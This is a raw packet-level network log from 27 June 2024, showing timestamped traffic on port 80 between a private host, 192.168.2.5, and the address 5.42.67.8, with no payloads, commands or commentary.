Jun 27, 2024 06:44:19.507224083 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507236958 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507246971 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507251024 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507266045 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507276058 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507278919 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507292986 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507308006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507319927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507323027 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507354975 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507376909 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507441044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507455111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507487059 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507509947 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507622004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507636070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507649899 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507663965 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507664919 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507677078 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507688046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507692099 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507704973 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507720947 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507726908 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507750034 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507774115 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507806063 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507819891 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507833004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507846117 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507848978 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507860899 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507870913 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507874966 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507915974 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.508016109 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.508038044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.508052111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.508059025 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.508065939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.508080006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.508094072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.508096933 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.508107901 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.508128881 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.508135080 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.508143902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.508157015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.508162022 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.508172035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.508184910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.508198977 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.508235931 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.508271933 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.591995955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592078924 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592087984 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592135906 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592187881 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592202902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592241049 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592252970 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592263937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592304945 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592319012 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592340946 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592355967 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592363119 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592376947 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592396975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592420101 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592447042 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592478991 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592499971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592513084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592524052 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592528105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592541933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592547894 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592556953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592567921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592578888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592592001 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592606068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592612028 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592633009 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592639923 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592664003 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592694044 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592780113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592792988 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592807055 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592819929 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592827082 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592834949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592844009 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592849016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592863083 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592878103 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592886925 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592894077 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.592915058 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.592940092 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593018055 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593031883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593045950 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593060017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593065977 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593080997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593089104 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593095064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593108892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593125105 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593148947 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593149900 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593164921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593187094 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593225956 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593327045 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593341112 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593354940 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593364000 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593369007 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593384981 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593391895 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593398094 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593413115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593424082 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593426943 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593442917 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593451023 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593458891 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593472958 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593508005 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593691111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593704939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593718052 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593729019 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593733072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593754053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593772888 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593775034 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593790054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593801022 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593806028 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593821049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593836069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593842030 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593852043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593866110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593874931 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593879938 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593894958 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.593902111 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593928099 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.593960047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594046116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594060898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594075918 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594086885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594089031 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594104052 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594110012 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594119072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594132900 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594141960 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594146967 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594162941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594171047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594177008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594187021 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594192028 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594206095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594229937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594261885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594348907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594362974 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594377995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594389915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594397068 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594403982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594418049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594433069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594446898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594451904 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594463110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594484091 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594506025 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594690084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594703913 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594718933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594733000 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594739914 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594755888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594765902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594773054 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594774008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594782114 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594789982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594799995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594811916 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594821930 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594830036 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594830036 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594839096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594841003 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.594851017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594851017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.594877958 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.595072985 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595086098 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595107079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595118046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.595124006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595136881 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595151901 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595151901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.595165968 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595174074 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.595181942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595195055 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595207930 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.595210075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595225096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595230103 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.595237970 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595252037 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595253944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.595266104 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595282078 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595290899 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.595297098 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.595328093 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.595349073 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.678953886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679016113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679037094 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679040909 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679052114 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679065943 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679080963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679095030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679109097 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679179907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679193974 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679208994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679214954 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679214954 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679214954 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679234982 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679264069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679264069 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679276943 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679291964 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679305077 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679306030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679327011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679338932 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679338932 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679373980 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679389000 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679402113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679414988 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679425955 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679428101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679444075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679466009 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679492950 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679512978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679533005 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679546118 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679553032 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679559946 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679573059 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679586887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679590940 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679631948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679663897 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679677963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679732084 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679783106 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679797888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679811001 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679821968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679825068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679847956 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679857016 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679861069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679874897 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679888964 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679889917 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679913044 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679920912 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679934978 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.679943085 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679958105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679971933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.679975033 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680001020 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680033922 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680066109 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680078983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680093050 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680104971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680107117 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680119038 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680128098 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680134058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680175066 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680200100 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680212021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680224895 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680238008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680253029 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680275917 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680279016 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680290937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680303097 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680311918 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680315971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680330992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680344105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680351019 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680358887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680371046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680373907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.680418015 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680427074 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.680442095 CEST	80	49719	5.42.67.8	192.168.2.5
